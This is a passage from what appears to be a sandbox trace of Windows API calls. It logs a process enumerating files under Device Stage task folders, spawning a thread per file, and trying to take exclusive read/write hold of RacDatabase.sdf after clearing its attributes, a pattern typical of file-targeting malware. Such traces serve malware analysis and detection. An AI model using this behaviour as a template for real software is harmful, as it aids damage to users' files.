0x1cd862b0 [0153.823] wcscmp (_String1=".", _String2=".") returned 0 [0153.823] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.823] wcscmp (_String1="..", _String2=".") returned 1 [0153.823] wcscmp (_String1="..", _String2="..") returned 0 [0153.823] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0153.823] wcscmp (_String1="en-US", _String2=".") returned 1 [0153.823] wcscmp (_String1="en-US", _String2="..") returned 1 [0153.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20279370 [0153.823] wcscpy (in: _Dest=0x20279370, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0153.823] wcscat (in: _Dest=0x20279370, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0153.823] wcscat (in: _Dest=0x20279370, _Source="en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" [0159.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20279370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a4 [0159.218] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c7f9e6, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c7f9e6, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0159.218] wcscmp (_String1="folder.ico", _String2=".") returned 1 [0159.218] wcscmp (_String1="folder.ico", _String2="..") returned 1 [0159.218] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0159.218] wcscmp (_String1="netfol.ico", _String2=".") returned 1 [0159.218] wcscmp (_String1="netfol.ico", _String2="..") returned 1 [0159.218] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ca5b43, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2ca5b43, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c10f535, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0159.218] wcscmp (_String1="pictures.ico", _String2=".") returned 1 [0159.219] wcscmp (_String1="pictures.ico", _String2="..") returned 1 [0159.219] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c59889, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c59889, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1cdc0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0159.219] wcscmp (_String1="resource.xml", _String2=".") returned 1 [0159.219] wcscmp (_String1="resource.xml", _String2="..") returned 1 [0159.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1194b0 [0159.219] wcscpy (in: _Dest=0x1194b0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0159.219] wcscat (in: _Dest=0x1194b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0159.219] wcscat (in: _Dest=0x1194b0, _Source="resource.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" [0159.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1194b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2714 [0159.220] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cf1dfd, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2cf1dfd, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0159.220] wcscmp (_String1="ringtones.ico", _String2=".") returned 1 [0159.220] wcscmp (_String1="ringtones.ico", _String2="..") returned 1 [0159.220] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d17f5a, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d17f5a, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0159.220] wcscmp (_String1="settings.ico", _String2=".") returned 1 [0159.220] wcscmp (_String1="settings.ico", _String2="..") returned 1 [0159.220] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d3e0b7, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d3e0b7, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0159.220] wcscmp (_String1="sync.ico", _String2=".") returned 1 [0159.220] wcscmp (_String1="sync.ico", _String2="..") returned 1 [0159.220] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c219ec7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x7c219ec7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3473, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0159.220] wcscmp (_String1="tasks.xml", _String2=".") returned 1 [0159.220] wcscmp (_String1="tasks.xml", _String2="..") returned 1 [0159.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x1190a0 [0159.220] wcscpy (in: _Dest=0x1190a0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0159.221] wcscat (in: _Dest=0x1190a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0159.221] wcscat (in: _Dest=0x1190a0, _Source="tasks.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" [0159.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1190a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2718 [0159.221] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0159.222] wcscmp (_String1="wmp.ico", _String2=".") returned 1 [0159.222] wcscmp (_String1="wmp.ico", _String2="..") returned 1 [0159.222] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0 [0159.222] FindClose (in: hFindFile=0x1cd862b0 | out: hFindFile=0x1cd862b0) returned 1 [0159.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd616a0) returned 1 [0159.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278ef0) returned 1 [0159.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1076c0) returned 1 Thread: id = 2447 os_tid = 0x1eb0 [0153.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x202788f0 [0153.829] wcscpy (in: _Dest=0x202788f0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0153.829] wcscat (in: _Dest=0x202788f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0153.829] wcscat (in: _Dest=0x202788f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*" [0153.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62060 [0153.829] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86310 [0153.832] wcscmp (_String1=".", _String2=".") returned 0 [0153.832] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.832] wcscmp (_String1="..", _String2=".") returned 1 [0153.832] wcscmp (_String1="..", _String2="..") returned 0 [0153.832] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0153.832] wcscmp (_String1="en-US", _String2=".") returned 1 [0153.832] wcscmp (_String1="en-US", _String2="..") returned 1 [0153.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20278b30 [0153.833] wcscpy (in: _Dest=0x20278b30, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0153.833] wcscat (in: _Dest=0x20278b30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0153.833] wcscat (in: _Dest=0x20278b30, _Source="en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" [0159.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20278b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0159.161] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78a2eab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0159.161] wcscmp (_String1="folder.ico", _String2=".") returned 1 [0159.161] wcscmp (_String1="folder.ico", _String2="..") returned 1 [0159.161] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0159.161] wcscmp (_String1="print_pref.ico", _String2=".") returned 1 [0159.161] wcscmp (_String1="print_pref.ico", _String2="..") returned 1 [0159.161] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0159.161] wcscmp (_String1="print_property.ico", _String2=".") returned 1 [0159.161] wcscmp (_String1="print_property.ico", _String2="..") returned 1 [0159.161] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f112be3, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f112be3, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7be8cbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0159.161] wcscmp (_String1="print_queue.ico", _String2=".") returned 1 [0159.161] wcscmp (_String1="print_queue.ico", _String2="..") returned 1 [0159.161] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0159.161] wcscmp (_String1="scan_.ico", _String2=".") returned 1 [0159.161] wcscmp (_String1="scan_.ico", _String2="..") returned 1 [0159.161] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0159.161] wcscmp (_String1="scan_property.ico", _String2=".") returned 1 [0159.161] wcscmp (_String1="scan_property.ico", _String2="..") returned 1 [0159.161] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0159.161] wcscmp (_String1="scan_settings.ico", _String2=".") returned 1 [0159.162] wcscmp (_String1="scan_settings.ico", _String2="..") returned 1 [0159.162] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0159.162] wcscmp (_String1="tasks.xml", _String2=".") returned 1 [0159.162] wcscmp (_String1="tasks.xml", _String2="..") returned 1 [0159.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x1182d0 [0159.162] wcscpy (in: _Dest=0x1182d0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0159.162] wcscat (in: _Dest=0x1182d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0159.162] wcscat (in: _Dest=0x1182d0, _Source="tasks.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" [0159.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1182d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2290 [0159.163] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0 [0159.163] FindClose (in: hFindFile=0x1cd86310 | out: hFindFile=0x1cd86310) returned 1 [0159.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62060) returned 1 [0159.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202788f0) returned 1 [0159.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278470) returned 1 Thread: id = 2448 os_tid = 0x1eb4 [0153.834] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf")) returned 0x2020 [0153.835] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf", dwFileAttributes=0x20) returned 1 [0153.835] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0153.836] GetLastError () returned 0x20 [0153.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3400 [0153.836] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0153.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0153.836] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd9d790, Size=0x60) returned 0x1ced8f30 [0153.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85e690 [0153.837] wcscpy (in: _Dest=0x1b85e690, _Source="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" 